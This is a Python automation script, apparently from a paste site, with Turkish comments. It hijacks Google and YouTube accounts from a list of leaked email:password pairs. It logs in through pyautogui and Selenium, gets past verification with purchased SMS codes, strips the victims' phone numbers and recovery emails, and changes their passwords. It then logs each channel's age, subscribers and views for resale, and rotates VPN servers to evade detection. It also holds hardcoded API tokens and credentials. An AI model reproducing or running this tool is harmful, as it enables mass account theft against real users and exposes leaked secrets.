· 11 years ago · Jul 20, 2015, 01:27 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "tqmedia01@gmail.com"
22defaulPassword = "tqmedia01"
23
24#api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
25#api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
26api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
27
28#cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
29cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
30
31init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
32
33#########################################################
34################## CLICK FUNCTIONS ######################
35#########################################################
36
37def sc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.click()
41 except:
42 pass
43
44def dc(x, y):
45 try:
46 pyautogui.moveTo(x, y, 0.2)
47 pyautogui.doubleClick()
48 except:
49 pass
50
51def paste():
52 try:
53 return pyperclip.paste()
54 except:
55 pass
56def push(title, message):
57 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
58
59#########################################################
60#################### WEB FUNCTIONS ######################
61#########################################################
62
63def goTo(website):
64 pyautogui.hotkey('alt', 'd')
65 pyautogui.typewrite(website, interval=0.01)
66 pyautogui.press('enter')
67
68def goToGmail():
69 goTo("mail.google.com/mail/u/0/h/")
70 time.sleep(4)
71
72def goToEditSecond():
73 pyautogui.press('enter')
74 time.sleep(3.5)
75 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
76 time.sleep(5)
77 pyautogui.press('enter')
78
79def deletePhone():
80 time.sleep(3.5)
81 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
82 time.sleep(7)
83 text = getBody()
84 if not 'is used to reach' in text:
85 sc(1265, 388)
86 time.sleep(3)
87 sc(974, 763)
88 time.sleep(3)
89 sc(974, 715)
90 time.sleep(3)
91
92def goToChaneMyPass():
93 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
94 time.sleep(3)
95
96def goToMyAccount():
97 goTo('myaccount.google.com/?hl=en')
98 pyautogui.press('enter')
99 time.sleep(3)
100
101def getUrl():
102 pyautogui.hotkey('ctrl', 'l')
103 pyautogui.hotkey('ctrl', 'c')
104 text = paste()
105 try:
106 text = str(text)
107 except:
108 getUrl()
109 return text
110
111def getBody():
112 sc(69, 801)
113 pyautogui.hotkey('ctrl', 'a')
114 pyautogui.hotkey('ctrl', 'c')
115 text = paste()
116 try:
117 text = str(text)
118 except:
119 getBody()
120 return text
121
122def getBodyYt():
123 sc(113, 957)
124 time.sleep(1)
125 pyautogui.hotkey('ctrl', 'a')
126 pyautogui.hotkey('ctrl', 'c')
127 text = paste()
128 try:
129 text = str(text)
130 except:
131 getBody()
132 return text
133
134
135
136#########################################################
137################### GOOGLE FUNCTIONS ####################
138#########################################################
139
140def goGoogle():
141 pyautogui.hotkey('ctrl', 'l')
142 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
143 pyautogui.press('enter')
144 time.sleep(3)
145
146def loginGoogle(email, password):
147 goGoogle()
148 pyautogui.hotkey('ctrl', 'a')
149 pyautogui.press('delete')
150 pyautogui.typewrite(email)
151 pyautogui.press('enter')
152 time.sleep(2.5)
153 pyautogui.typewrite(password)
154 pyautogui.press('enter')
155
156def setNewPass():
157 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
158 time.sleep(7)
159
160
161def manuel(expassword, password):
162 goToEditSecond()
163 time.sleep(2)
164 pyautogui.moveTo(1616, 406, 1)
165
166 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
167 if(button7location != None):
168 buttonx, buttony = pyautogui.center(button7location)
169 pyautogui.click(buttonx, buttony)
170
171 text = getBody()
172 goToEditSecondEmail(text)
173
174 text = text.replace("\n", " ")
175 texts = text.split(" ")
176
177 gmail = ""
178 for t in texts:
179 if("@gmail" in t):
180 gmail = t.replace("\n", "").replace("\t", "")
181 break
182
183
184 deletePhone()
185 time.sleep(3)
186 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
187 time.sleep(4)
188 link = getUrl()
189
190 if("ServiceLogin" in link):
191 sc(865, 446)
192 pyautogui.typewrite(expassword)
193 time.sleep(2)
194 sc(979,502)
195 time.sleep(4)
196
197 sc(906, 313)
198 pyautogui.hotkey('ctrl', 'a')
199 pyautogui.typewrite(defaultEmail)
200
201 sc(1247, 356)
202 sc(1247, 356)
203
204 time.sleep(2)
205 goToChaneMyPass()
206
207 sc(860, 447)
208 sc(860, 447)
209 pyautogui.typewrite(expassword)
210 pyautogui.press('enter')
211 time.sleep(5)
212 pyautogui.typewrite(password)
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 pyautogui.press('tab')
216 time.sleep(1)
217 pyautogui.typewrite(password)
218 pyautogui.press('tab')
219 pyautogui.press('tab')
220 time.sleep(1)
221 pyautogui.press('enter')
222
223 return str(gmail) + ":" + password
224
225def goToEditSecondEmail(text):
226 pyautogui.press('enter')
227 if "First name" in text:
228 dc(627, 247)
229 pyautogui.hotkey('ctrl', 'a')
230 pyautogui.typewrite(randName)
231 pyautogui.press('tab')
232 pyautogui.typewrite(randSname)
233 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
234 time.sleep(10)
235 else:
236 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
237 time.sleep(5)
238
239def whereIsGmail(fakeName):
240
241 pyautogui.moveTo(550,560)
242 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
243 if(button7location != None):
244 buttonx, buttony = pyautogui.center(button7location)
245 pyautogui.click(buttonx, buttony)
246 else:
247 pyautogui.moveTo(1899,83, 2)
248 sc(1899,83)
249
250 dc(1132, 255)
251 pyautogui.typewrite(fakeName, interval=0.10)
252 time.sleep(1)
253 sc(1112, 326)
254 time.sleep(2)
255 dc(1135, 285)
256 pyautogui.hotkey('ctrl', 'c')
257 text = paste()
258 try:
259 text = str(text)
260 except:
261 text = ""
262
263 if("Someone" in text or "Please" in text):
264 return 2
265 elif ("Your" in text):
266 return 3
267 return 1
268
269
270def registerGmail(fakeName, fakeSurname, flag):
271
272 if(flag == 1):
273 pyautogui.doubleClick(1133, 255)
274 pyautogui.typewrite(fakeName, interval=0.10)
275 time.sleep(0.3)
276 pyautogui.press('tab')
277 pyautogui.typewrite(fakeSurname, interval=0.10)
278 time.sleep(0.3)
279 email = fakeName + fakeSurname + str(randint(3000,9999))
280 email = email.lower()
281 pyautogui.press('tab')
282 pyautogui.typewrite("johnmiller", interval=0.10)
283 time.sleep(0.3)
284 pyautogui.press('tab')
285 pyautogui.press('tab')
286 pyautogui.press('delete')
287 pyautogui.press('tab')
288 time.sleep(0.3)
289 pyautogui.press('delete')
290 pyautogui.typewrite(defaultEmail, interval=0.10)
291 pyautogui.press('enter')
292 time.sleep(2)
293 pyautogui.click(1211,378)
294 time.sleep(1)
295 pyautogui.moveTo(1154,326)
296 pyautogui.doubleClick()
297 time.sleep(2)
298 pyautogui.hotkey('ctrl', 'c')
299 gmail = paste()
300 jc = 0
301
302 while "johnmiller" == gmail and jc < 3:
303 pyautogui.click(1211,380)
304 pyautogui.moveTo(1154,326)
305 pyautogui.doubleClick()
306 pyautogui.hotkey('ctrl', 'c')
307 gmail = paste()
308 jc += 1
309
310 pyautogui.press('enter')
311 return str(gmail) + "@gmail.com"
312
313 elif(flag == 0):
314 dc(1161,255)
315 pyautogui.click()
316 time.sleep(1)
317 pyautogui.typewrite("johnmiller", interval=0.45)
318 time.sleep(2)
319 sc(1231,382)
320 time.sleep(1)
321 sc(1236,308)
322 time.sleep(1)
323 pyautogui.moveTo(1161,251)
324 pyautogui.doubleClick()
325 pyautogui.hotkey('ctrl', 'c')
326 gmail = paste()
327 time.sleep(1)
328 pyautogui.press('tab')
329 time.sleep(1)
330 pyautogui.press('tab')
331 time.sleep(1)
332 pyautogui.press('delete')
333 pyautogui.press('tab')
334 time.sleep(1)
335 pyautogui.press('delete')
336 pyautogui.typewrite(defaultEmail, interval=0.30)
337 time.sleep(1)
338 pyautogui.press('enter')
339 return str(gmail) + "@gmail.com"
340 else:
341 dc(1148, 255)
342 pyautogui.hotkey('ctrl', 'c')
343 gmail = paste()
344 sc(1193, 349)
345 pyautogui.hotkey('ctrl', 'a')
346 pyautogui.press('delete')
347 pyautogui.press('tab')
348 time.sleep(1)
349 pyautogui.press('delete')
350 pyautogui.typewrite(defaultEmail, interval=0.30)
351 time.sleep(1)
352 pyautogui.press('enter')
353 return str(gmail) + "@gmail.com"
354
355def changeAccountInfo(expassword, password, text):
356 goToEditSecondEmail(text)
357
358 t0 = time.clock()
359 url = getUrl()
360
361 while("EditUserInfo" in url):
362 if(time.clock() - t0 > 20):
363 return
364 text = getBody()
365 goToEditSecondEmail(text)
366 url = getUrl()
367
368 time.sleep(3)
369
370 deletePhone()
371 goToChaneMyPass()
372
373 time.sleep(4)
374 pyautogui.typewrite(expassword)
375 pyautogui.press('enter')
376 time.sleep(5)
377 pyautogui.typewrite(password)
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 pyautogui.press('tab')
381 time.sleep(1)
382 pyautogui.typewrite(password)
383 pyautogui.press('tab')
384 pyautogui.press('tab')
385 time.sleep(1)
386 pyautogui.press('enter')
387 return password
388
389#########################################################
390################### PHONE FUNCTIONS #####################
391#########################################################
392
393def enterPhone(phone):
394 pyautogui.typewrite(phone, interval=0.10)
395 pyautogui.press('enter')
396
397def openPhone(phone):
398 try:
399 # spoof some headers so the request appears to be coming from a browser, not a bot
400 headers = {
401 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
402 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
403 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
404 "accept-encoding": "gzip,deflate,sdch",
405 "accept-language": "en-US,en;q=0.8",
406 }
407
408 # make the request to the search url, passing in the the spoofed headers.
409 r = requests.get(api4, headers=headers) # assign the response to a variable r
410
411 # check the status code of the response to make sure the request went well
412 if r.status_code != 200:
413 print("request denied")
414 return
415 else:
416 pass
417
418 # convert the plaintext HTML markup into a DOM-like structure that we can search
419 soup = BeautifulSoup(r.text)
420
421 # each result is an <li> element with class="g" this is our wrapper
422 results = soup.findAll("td")
423
424 for i in range(len(results)):
425 if phone in results[i]:
426 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
427 code = c.split(" ")[5]
428 return code
429 return ""
430 except:
431 return ""
432def enterCode(code):
433 sc(742,382)
434 pyautogui.typewrite(code, interval=0.10)
435 pyautogui.press('enter')
436#########################################################
437################## YOUTUBE FUNCTIONS ####################
438#########################################################
439
440
441def setYoutubeDriver():
442 #changeProxy()
443 global driver
444 driver = webdriver.Firefox()
445 driver.maximize_window()
446 return driver
447
448
449def loginYoutube(email, password):
450 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
451 time.sleep(3)
452 put(".//*[@id='Email']", email)
453 fbxpath(".//*[@id='next']").click()
454 put(".//*[@id='Passwd']", password)
455 fbxpath(".//*[@id='signIn']").click()
456 time.sleep(8)
457
458def isPicassa():
459 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
460 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
461
462 if(cbutton != None and okbutton == None):
463 return 0
464 elif(cbutton == None and okbutton != None):
465 return 1
466 else:
467 return 2
468
469def regYoutube():
470 time.sleep(12)
471
472 sc(1200, 645)
473 text = None
474 while text == None:
475 pyautogui.hotkey('ctrl', 'a')
476 pyautogui.hotkey('ctrl', 'c')
477 text = paste()
478
479 if "Picasa" in text:
480 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
481 time.sleep(15)
482 return
483
484 flag = isPicassa()
485 if (flag == 1):
486 time.sleep(2)
487 sc(1175, 690)
488 return
489
490 elif(flag == 0):
491 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
492 time.sleep(15)
493 return
494
495 if(flag == 2):
496 sc(651, 704)
497 sc(666, 556)
498 sc(666, 556)
499 time.sleep(1)
500 pyautogui.moveTo(958, 792, 2)
501 pyautogui.click(958, 792)
502
503
504def addToYoutube(info):
505 try:
506 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
507 sorunlu.write(info + "\n")
508 sorunlu.close()
509 except:
510 print("Dosya acilamadi")
511
512def addToTekrar(info):
513 try:
514 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
515 sorunlu.write(info + "\n")
516 sorunlu.close()
517 except:
518 print("Dosya acilamadi")
519
520def fbxpath(xpath):
521 try:
522 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
523 except:
524 return False
525
526def put(xpath, toSend):
527 try:
528 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
529 time.sleep(1)
530 to.send_keys(toSend)
531 except:
532 return False
533
534def isShowed(xpath):
535 try:
536 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
537 return True
538 except:
539 return False
540
541def createYoutube(email, password):
542 driver.get("https://www.youtube.com/my_videos?o=U")
543 time.sleep(8)
544 text = getBody()
545 if("Help us keep your account secure" in text
546 or "Cookies help" in text
547 or "Tell us how to reach" in text):
548 driver.get("https://www.youtube.com/my_videos?o=U")
549 time.sleep(5)
550 text = getBody()
551
552 if "oops" in driver.current_url:
553 time.sleep(2)
554 driver.get("https://www.youtube.com/my_videos?o=U")
555
556 if "Use YouTube as..." in text:
557 sc(866 ,526)
558 driver.get("https://www.youtube.com/my_videos?o=U")
559 time.sleep(10)
560 text = getBody()
561
562 if "Create a channel" in text:
563 flag = 0
564 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
565 regYoutube()
566
567 elif "YouTube channel has content but has been disabled" in text:
568 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
569 time.sleep(3)
570 regYoutube()
571 else:
572 flag = 1
573
574 driver.get("https://www.youtube.com/analytics?o=U")
575 t0 = time.clock()
576
577 while "my_videos" in driver.current_url:
578 if time.clock() - t0 > 25:
579 addToYoutube(email +":" + password)
580 return False
581 time.sleep(2)
582 sc(1875, 91)
583 time.sleep(1)
584 sc(1853, 280)
585 time.sleep(3)
586 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
587 time.sleep(5)
588 pyautogui.typewrite(password)
589 sc(990, 580)
590 time.sleep(2)
591 url = driver.current_url
592 while("ServiceLogin" in url):
593 pyautogui.typewrite(password)
594 sc(990, 580)
595 time.sleep(2)
596 url = driver.current_url
597 driver.get("https://www.youtube.com/my_videos?o=U")
598 try:
599 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
600 except:
601 driver.get("https://www.youtube.com/dashboard?o=U")
602 break
603 time.sleep(4)
604 sc(1170, 690)
605 driver.get("https://www.youtube.com/analytics?o=U")
606
607 time.sleep(10)
608 try:
609 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
610 except:
611 date = "kontroledilecek"
612 driver.get("https://www.youtube.com/dashboard?o=U")
613 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
614 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
615 '''
616 if len(views) > 7:
617 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
618 '''
619 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
620 time.sleep(2)
621 channelUrl = driver.current_url
622
623 if("2005" in date):
624 dateFile = 2005
625 elif("2006" in date):
626 dateFile = 2006
627 elif("2007" in date):
628 dateFile = 2007
629 elif("2008" in date):
630 dateFile = 2008
631 elif("2009" in date):
632 dateFile = 2009
633 elif("2010" in date):
634 dateFile = 2010
635 elif("2011" in date):
636 dateFile = 2011
637 elif("2012" in date):
638 dateFile = 2012
639 elif("2013" in date):
640 dateFile = 2013
641 elif("2014" in date):
642 dateFile = 2014
643 elif("2015" in date):
644 dateFile = 2015
645 else:
646 dateFile = "kontroledilecek"
647 print(str(date))
648 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
649
650
651def saveYoutube(email, password, url, dateFile, date, subscriber, views):
652 try:
653 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
654 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
655 hesaplar.write(info + "\n")
656 hesaplar.close()
657 except:
658 print("Dosya acilamadi.")
659
660#########################################################
661#################### SAVE FUNCTIONS #####################
662#########################################################
663
664def addToGmail(info):
665 try:
666 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
667 hesaplar.write(info + "\n")
668 hesaplar.close()
669 except:
670 print("Dosya acilamadi.")
671
672def addToCop(info):
673 try:
674 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
675 cop.write(info[0] + ":" + info[1])
676 cop.close()
677 except:
678 print("Dosya acilamadi.")
679
680def addToOzel(info):
681 try:
682 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
683 ozel.write(info[0] + ":" + info[1])
684 ozel.close()
685 except:
686 print("Dosya acilamadi.")
687
688def addToTekrar(info):
689 try:
690 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
691 ozel.write(info[0] + ":" + info[1])
692 ozel.close()
693 except:
694 print("Dosya acilamadi.")
695def addToTekrarYT(info):
696 try:
697 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
698 ozel.write(info)
699 ozel.close()
700 except:
701 print("Dosya acilamadi.")
702
703def addToCaptcha(info):
704 try:
705 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
706 ozel.write(info[0] + ":" + info[1])
707 ozel.close()
708 except:
709 print("Dosya acilamadi.")
710
711def addToYoutube(info):
712 try:
713 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
714 sorunlu.write(info + "\n")
715 sorunlu.close()
716 except:
717 print( "Dosya acilamadi")
718
719def updateList(i):
720 try:
721
722 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
723 fout.writelines(content[i+1:])
724 except:
725 print("Dosya acilamadi.")
726
727
728#########################################################
729################## DRIVER FUNCTIONS #####################
730#########################################################
731
732def createDriver():
733 pyperclip.copy('')
734 global loginC
735 loginC = 0
736 os.system("taskkill /f /t /im firefox.exe")
737 changeProxy()
738 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
739 time.sleep(7)
740
741def changeProxy():
742
743 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
744 # Path to OpenVPN program
745 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
746 # Path to username/password
747 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
748 # Path to config file. What's server do you want connect to?
749
750 vpn_mgt_host = "127.0.0.1"
751 vpn_mgt_port = "7777"
752 cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
753 c = random.randint(0, 7)
754 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\USA - " + cities[c] + ".ovpn"
755 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
756 "--management-hold", "--config", vypr_conf,
757 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
758
759 # Delete all tap devices
760 subprocess.call("deltapall.bat", shell=True)
761
762 # Add tap devices
763 subprocess.call("addtap.bat", shell=True)
764
765 # Run OpenVPN daemon but management hold
766 prog = subprocess.Popen(vpn_params, shell=True,
767 stdin=None, stdout=None, stderr=None, close_fds=True)
768
769 # vpn_pid = prog.pid
770
771 # Connect to OpenVPN management daemon
772 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
773 # Turn on log
774 tn.write(("log on\r\n").encode('ascii'))
775 time.sleep(1)
776 # Hold release
777 tn.write(("hold release\r\n").encode('ascii'))
778 time.sleep(2)
779 # Waiting to OpenVPN connected
780 time.sleep(15)
781 print ("Connected to " + cities[c])
782
783def endSession():
784 pyautogui.hotkey('alt', 'f4')
785 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
786 time.sleep(5)
787 updateList(i)
788 createDriver()
789
790def checkSuccess(failC, sucC, loginC):
791 if loginC > 30:
792 endSession()
793 if i % 50 != 0:
794 return
795 try:
796 failRate = failC / sucC
797 except:
798 failRate = failC
799
800 if failRate > 49:
801 updateList(i)
802
803with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
804 content = f.read().splitlines(True)
805with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
806 phones = f.read().splitlines(True)
807######################################################
808
809failC = 0
810sucC = 0
811
812k = 0
813p = 0
814
815createDriver()
816
817for i in range(len(content)):
818 checkSuccess(failC, sucC, loginC)
819 try:
820 info = content[i].split(":")
821 email = info[0]
822 password = info[1].rstrip("\n")
823 if(len(password) < 6 or "@" not in email):
824 continue
825 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
826 print("Succes: " + str(sucC) + " Fail: " + str(failC))
827 chars = string.ascii_letters + string.digits
828 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
829 randName = names.get_first_name(gender='male')
830 randSname = names.get_last_name()
831 except:
832 addToOzel(content[i].split(":"))
833 time.sleep(2)
834 continue
835 try:
836 phone = phones[p].rstrip("\n")
837 except:
838 p = 0
839 phone = phones[p].rstrip("\n")
840
841 try:
842 loginGoogle(email, password)
843 loginC += 1
844 except:
845 addToCop(info)
846 continue
847
848 if "gmail" in email:
849 time.sleep(6)
850 else:
851 time.sleep(3)
852 text = getBody()
853
854 if("One account. All of Google." in text
855 or "Sorry, Google doesn't recognize" in text
856 or "Your Google Account is managed by" in text
857 or "Sorry, we can't process" in text
858 or "Google" not in text
859 or "We've detected unusual activity" in text
860 or "2-Step verification" in text
861 ):
862
863 if("Letters are" in text or "Firefox" in text):
864 addToCaptcha(info)
865 endSession()
866 k = 0
867 continue
868 elif "privacy reminder" in text:
869 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
870 time.sleep(5)
871 else:
872 addToCop(info)
873 failC += 1
874 k = 0
875 continue
876 elif ("Letters are" in text):
877 addToCaptcha(info)
878 k = 0
879 endSession()
880 continue
881 elif "Please re-enter" in text:
882 addToOzel(content[i-1].split(":"))
883 endSession()
884 elif "Firefox" in text:
885 addToCaptcha(info)
886 k = 0
887 endSession()
888 elif "Google" not in text:
889 addToCop(info)
890 failC += 1
891 k = 0
892 continue
893 else:
894 time.sleep(3)
895 url = getUrl()
896
897 url = getUrl()
898 if "privacyreminder" in url:
899 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
900 time.sleep(7)
901 url = getUrl()
902
903 if "VerifiedPhoneInterstitial" in url:
904 time.sleep(2)
905 sc(1113,800)
906 time.sleep(5)
907 url = getUrl()
908
909 elif not "google" in url:
910 addToCop(info)
911 failC += 1
912 continue
913
914 elif "LoginVerification" in url:
915 text = getBody()
916 if("Tell us the city" in text
917 or "Answer your secret question" in text
918 or "Enter your recovery" in text
919 or "Android" in text
920 or "Receive a verification" in text
921 or "Tell us your phone number" in text):
922 if("Enter a phone" not in text
923 or "Sorry, we can't process" in text):
924 addToCop(info)
925 failC += 1
926 continue
927 if "Tell us the city" in text:
928 sc(747, 452)
929 else:
930 sc(745,427)
931 enterPhone(phone)
932 time.sleep(4)
933 text = getBody()
934 sc(758, 618)
935
936 while "already" in text :
937 p += 1
938 if(p == len(phones)):
939 p = 0
940 phone = phones[p].rstrip("\n")
941 sc(742,382)
942 pyautogui.hotkey('ctrl', 'a')
943 pyautogui.press('delete')
944 code = openPhone(phone)
945 enterCode(code)
946 time.sleep(5)
947 text = getBody()
948 sc(758, 618)
949 if "until in text":
950 continue
951
952 cC = 0
953 while cC < 3:
954 sc(742,382)
955 pyautogui.hotkey('ctrl', 'a')
956 pyautogui.press('delete')
957 code = openPhone(phone)
958 enterCode(code)
959 time.sleep(5)
960 url = getUrl()
961 if not "LoginVerification" in url:
962 break
963 else:
964 time.sleep(6)
965 cC += 1
966
967
968 elif("ChangePassword" in url):
969 setNewPass()
970 newPass = defaulPassword + "\n"
971 password = defaulPassword + "\n"
972 goToGmail()
973
974 elif("google" not in url or "ServiceLoginAuth" in url):
975 addToCop(info)
976 failC += 1
977 continue
978
979 elif("RecycledEmailInterstitial" in url
980 or "AccountRecoveryOptionsPrompt" in url
981 or "myaccount" in url):
982 time.sleep(3)
983 goToGmail()
984
985 elif("EmailNotVerified" in url):
986 time.sleep(3)
987 goToGmail()
988 time.sleep(4)
989 url = getUrl()
990 if("ServiceLogin" in url):
991 sc(882,448)
992 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
993 pyautogui.press('enter')
994 time.sleep(4)
995 url = getUrl()
996 time.sleep(3)
997
998 else:
999 print("-----RAPOR EDILMELI!!!!")
1000 addToOzel(info)
1001 endSession()
1002 continue
1003
1004 time.sleep(9)
1005 url = getUrl()
1006 time.sleep(1)
1007 try:
1008 sc(1899,83)
1009 except:
1010 pass
1011 if "privacyreminder" in url:
1012 sc(1231, 984)
1013 time.sleep(2)
1014 sc(1231, 984)
1015 time.sleep(5)
1016 goToGmail()
1017 time.sleep(5)
1018 url = getUrl()
1019 if("EmailNotVerified" in url):
1020 time.sleep(3)
1021 goToGmail()
1022 time.sleep(5)
1023 url = getUrl()
1024 if("ServiceLogin" in url):
1025 sc(882,448)
1026 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1027 pyautogui.press('enter')
1028 time.sleep(3)
1029 url = getUrl()
1030 time.sleep(6)
1031
1032 if("myaccount" in url):
1033 goToGmail()
1034 time.sleep(5)
1035 url = getUrl()
1036
1037 if("ServiceLogin" in url):
1038 sc(882,448)
1039 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1040 pyautogui.press('enter')
1041 time.sleep(3)
1042 url = getUrl()
1043
1044 if("AccountRecoveryOptionsPrompt" in url):
1045 addToTekrar(info)
1046 continue
1047
1048 if("mail/" in url):
1049 gmail = manuel(password, newPass)
1050 g = gmail.split(":")
1051 gmail = g[0]
1052 newPass = g[1]
1053
1054 elif("ChangePassword" in url):
1055
1056 setNewPass()
1057 newPass = defaulPassword + "\n"
1058 password = defaulPassword + "\n"
1059 time.sleep(8)
1060 goToGmail()
1061 time.sleep(5)
1062 url = getUrl()
1063 if("mail/" not in url):
1064 flag = whereIsGmail(randName)
1065 if(flag==1):
1066 gmail = registerGmail(randName, randSname, 1)
1067 goToEditSecond()
1068 text = getBody()
1069
1070 try:
1071 if(not "@gmail.com" in text):
1072 addToOzel(info)
1073 failC += 1
1074 endSession()
1075 continue
1076 except:
1077 pass
1078
1079 newPass = changeAccountInfo(password, newPass, text)
1080
1081 elif(flag==2):
1082 gmail = registerGmail(randName, randSname, 0)
1083 goToEditSecond()
1084 text = getBody()
1085
1086 try:
1087 if(not "@gmail.com" in text):
1088 addToOzel(info)
1089 failC += 1
1090 endSession()
1091 continue
1092 except:
1093 pass
1094
1095 newPass = changeAccountInfo(password, newPass, text)
1096
1097 elif(flag == 3):
1098 addToCop(info)
1099 failC += 1
1100 endSession()
1101 continue
1102 else:
1103 gmail = manuel(newPass, newPass)
1104 g = gmail.split(":")
1105 gmail = g[0]
1106 newPass = g[1]
1107
1108 elif("inbox" in url):
1109 gmail = manuel(password, newPass)
1110 g = gmail.split(":")
1111 gmail = g[0]
1112 newPass = g[1]
1113
1114 elif("AddMailService" in url):
1115 pyautogui.moveTo(1899,83)
1116 time.sleep(1)
1117 sc(1899,83)
1118 time.sleep(1)
1119 flag = whereIsGmail(randName)
1120 if(flag==1):
1121 gmail = registerGmail(randName, randSname, 1)
1122 goToEditSecond()
1123 text = getBody()
1124
1125 try:
1126 if(not "@gmail.com" in text):
1127 addToOzel(info)
1128 failC += 1
1129 endSession()
1130 continue
1131 except:
1132 pass
1133
1134 newPass = changeAccountInfo(password, newPass, text)
1135
1136 elif(flag==2):
1137 gmail = registerGmail(randName, randSname, 0)
1138
1139 goToEditSecond()
1140 text = getBody()
1141
1142 try:
1143 if(not "@gmail.com" in text):
1144 addToOzel(info)
1145 failC += 1
1146 endSession()
1147 continue
1148 except:
1149 pass
1150
1151 newPass = changeAccountInfo(password, newPass, text)
1152 elif(flag == 4):
1153 addToCop(info)
